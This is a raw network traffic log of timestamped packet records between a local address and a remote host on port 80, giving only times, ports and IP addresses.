Aug 31, 2024 10:14:05.479630947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.479640961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.479646921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.479666948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.479670048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.479677916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.479695082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.479696989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.479727030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.479752064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480294943 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480317116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480328083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480340004 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480360031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480393887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480421066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480431080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480448961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480457067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480478048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480489969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480520010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480530977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480547905 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480559111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480564117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480591059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480650902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480662107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480679035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480688095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480695009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480705023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480717897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480745077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480787039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480796099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480813980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480819941 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480823040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480839968 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480846882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480858088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480868101 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480887890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480896950 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480925083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.480928898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.480966091 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.481065035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.481102943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.481110096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.481118917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.481137037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.481149912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.481152058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.481163025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.481185913 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.481204987 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.482145071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482156038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482173920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482187986 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.482214928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.482378006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482433081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.482449055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482459068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482522011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.482608080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482619047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482635975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.482667923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.482681990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.521878004 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.521888971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.521908998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.521919012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.521933079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.521965027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.562721968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.562814951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.563107014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.563160896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625238895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625251055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625272989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625283957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625299931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625343084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625351906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625354052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625375032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625395060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625417948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625536919 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625547886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625566959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625585079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625592947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625611067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625616074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625638962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625639915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625649929 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625658989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625677109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625682116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625689030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625726938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625863075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625876904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625895977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.625905037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625933886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625955105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.625983953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626003027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626020908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626029968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626032114 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626048088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626049995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626063108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626070023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626081944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626091957 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626095057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626121044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626148939 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626195908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626205921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626226902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626236916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626250982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626255035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626279116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626298904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626573086 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626584053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626605034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626616955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626629114 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626652956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626658916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626662970 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626698971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626782894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626828909 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626857042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626866102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626894951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626909971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626914024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626925945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626939058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626943111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626954079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.626967907 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.626998901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.627540112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.627588034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.627593040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.627595901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.627614975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.627624989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.627640009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.627662897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.627966881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628015995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628046989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628056049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628072023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628098011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628127098 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628128052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628138065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628154993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628170013 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628201962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628231049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628241062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628257036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628279924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628305912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628379107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628428936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628438950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628448009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628490925 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628515005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628525972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628565073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628720045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628729105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628746033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628772974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628772020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628792048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628820896 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628834963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628844023 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628870010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.628879070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.628915071 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629302025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629350901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629417896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629427910 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629467010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629475117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629483938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629502058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629512072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629513025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629538059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629548073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629549980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629566908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629575014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629575968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629595041 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629604101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629605055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629633904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629653931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629746914 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629791975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629810095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629818916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629848003 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629856110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629867077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629867077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629882097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629892111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629904985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629910946 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629920006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.629928112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.629959106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.630618095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.630628109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.630646944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.630661964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.630678892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.630681038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.630688906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.630712986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.630721092 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.630748034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.630762100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.630963087 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.630997896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.631006956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.631011963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.631036043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.631055117 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.631174088 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.631185055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.631201982 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.631227016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.631253958 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.631453037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.631493092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.631500959 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.631501913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.631531000 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.631551027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.671477079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.671489000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.671516895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.671672106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.671672106 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.671843052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.671874046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.671885014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.671897888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.671922922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.723172903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.723185062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.723190069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.723350048 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.775628090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775636911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775654078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775666952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775679111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775687933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775696993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775806904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775811911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.775811911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.775815964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775821924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775845051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775854111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775861025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.775871992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775882006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775891066 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.775899887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775909901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775923014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.775923967 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775948048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775953054 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.775957108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775973082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.775974989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.775984049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776000977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.776000977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776010990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776030064 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776031971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.776038885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776052952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.776057005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776066065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776077032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.776082993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776092052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776098967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.776109934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776118994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776124954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.776137114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776154041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.776166916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:05.776428938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:05.776484966 CEST	49704	80	192.168.2.5	185.215.113.100
